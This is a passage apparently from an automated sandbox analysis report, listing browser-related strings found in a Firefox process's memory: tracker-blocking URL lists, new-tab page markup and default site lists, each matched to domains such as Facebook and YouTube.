equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://ssl.google-analytics.com/ga.jsFileUtils_closeAtomicFileOutputStream://s0.2mdn.net/instream/html5/ima3.js://libs.coremetrics.com/eluminate.js://static.chartbeat.com/js/chartbeat.js://connect.facebook.net//all.jshttps://smartblock.firefox.etp/facebook.svg://track.adform.net/serving/scripts/trackpoint/://www.everestjs.net/static/st.v3.jspictureinpicture%40mozilla.org:1.0.0webcompat-reporter%40mozilla.org:1.5.1://www.rva311.com/static/js/main..chunk.jsresource://gre/modules/FileUtils.sys.mjshttps://smartblock.firefox.etp/play.svg://auth.9c9media.ca/auth/main.js://static.criteo.net/js/ld/publishertag.js://c.amazon-adsystem.com/aax2/apstag.jsresource://gre/modules/addons/XPIProvider.jsmwebcompat-reporter@mozilla.org.xpi://pub.doubleverify.com/signals/pub.js*://static.chartbeat.com/js/chartbeat_video.js@mozilla.org/addons/addon-manager-startup;1://.imgur.com/js/vendor..bundle.js://web-assets.toggl.com/app/assets/scripts/.js://cdn.branch.io/branch-latest.min.js://connect.facebook.net//sdk.js://www.googletagmanager.com/gtm.js://.imgur.io/js/vendor..bundle.js://www.google-analytics.com/plugins/ua/ec.jsFileUtils_closeSafeFileOutputStream://www.google-analytics.com/gtm/js*://www.google-analytics.com/analytics.jsblocklisted:FEATURE_FAILURE_PARSE_DRIVER equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3645713303.000001C23E5E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3637244801.000001C23DABF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3638368743.000001C23DB17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3645713303.000001C23E5E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3637244801.000001C23DABF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3638368743.000001C23DB17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3624693263.000001C23CCF6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D163000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3638368743.000001C23DB17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @mozilla.org/uriloader/handler-service;1@mozilla.org/dom/slow-script-debug;1browser.fixup.dns_first_for_single_wordsbrowser.urlbar.dnsResolveFullyQualifiedNames^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$devtools.debugger.remote-websocketreleaseDistinctSystemPrincipalLoaderdevtools.performance.recording.ui-base-urlDevToolsStartup.jsm:handleDebuggerFlagdevtools/client/framework/devtoolsresource://devtools/server/devtools-server.jsdevtools/client/framework/devtools-browserdevtools-commandkey-javascript-tracing-toggleand deploy previews URLs are allowed.resource://devtools/shared/security/socket.jsdevtools.performance.popup.feature-flagdevtools.debugger.features.javascript-tracingDevTools telemetry entry point failed: JSON Viewer's onSave failed in startPersistencebrowser and that URL. Falling back to Unable to start devtools server on Failed to listen. Listener already attached.devtools-commandkey-profiler-capture{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}Failed to execute WebChannel callback:No callback set for this channel.Got invalid request to save JSON dataWebChannel/this._originCheckCallback@mozilla.org/network/protocol;1?name=filedevtools-commandkey-profiler-start-stopFailed to listen. Callback argument missing.@mozilla.org/network/protocol;1?name=default@mozilla.org/uriloader/local-handler-app;1resource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/NetUtil.sys.mjshttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sget FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPCan't invoke URIFixup in the content process{c6cf88b7-452e-47eb-bdc9-86e3561648ef}http://www.inbox.lv/rfc2368/?value=%s^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?handlerSvc fillHandlerInfo: don't know this typehttp://poczta.interia.pl/mh/?mailto=%s@mozilla.org/uriloader/web-handler-app;1get FIXUP_FLAGS_MAKE_ALTERNATE_URI^([a-z+.-]+:\/{0,3})([^\/@]+@).+^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]\|$)browser.fixup.domainsuffixwhitelist.get FIXUP_FLAG_FORCE_ALTERNATE_URIScheme should be either http or httpsresource://gre/modules/FileUtils.sys.mjsisDownloadsImprovementsAlreadyMigratedhttps://mail.yahoo.co.jp/compose/?To=%shttp://compose.mail.yahoo.co.jp/ym/Compose?To=%s{33d75835-722f-42c0-89cc-44f328e56a86}https://e.mail.ru/cgi-bin/sentmsg?mailto=%sgecko.handlerService.defaultHandlersVersionextractScheme/fixupChangedProtocol<@mozilla.org/uriloader/dbus-handler-app;1_injectDefaultProtocolHandlersIfNeededhttps://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/JSONFile.sys.mjshttps://mail.inbox.lv/compose?to=%s@mozilla.org/network/file-input-stream;1Must have a source and a callback@mozilla.org/network/simple-stream-listener;1resource://gre/modules/URIFixup.sys.mjs@mozilla.org/network/input-stream-pump;1newChannel requires a single object argumentSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLFirst argument should be an nsIInputStreamNon-zero amount of bytes must be specified_finalizeInternal/this._finalizePromise<resource://gre/modules/ExtHandlerService.sys.mjs@mozilla.org
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJE(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0)https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/shims/microsoftLogin.js equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJE(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0)https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/shims/microsoftLogin.js equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJE(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0)https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/shims/microsoftLogin.js equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D006000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D00B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3628973173.000001C23CF19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3628973173.000001C23CF19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: addons-search-detection@mozilla.com://pubads.g.doubleclick.net/gampad/xml_vmap2*://trends.google.com/trends/embedresource://builtin-addons/search-detection/addons-search-detection%40mozilla.com:2.0.0://www.facebook.com/platform/impression.php://.adsafeprotected.com//Serving/https://en.wikipedia.org/wiki/Special:Search*://.adsafeprotected.com/jload?*{3f78ada1-cba2-442a-82dd-d5fb300ddea7} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001B.00000002.3351773313.000001C2385E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3645713303.000001C23E5E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3637244801.000001C23DABF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3638368743.000001C23DB17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3645713303.000001C23E5E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3637244801.000001C23DABF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3638368743.000001C23DB17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C2385E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
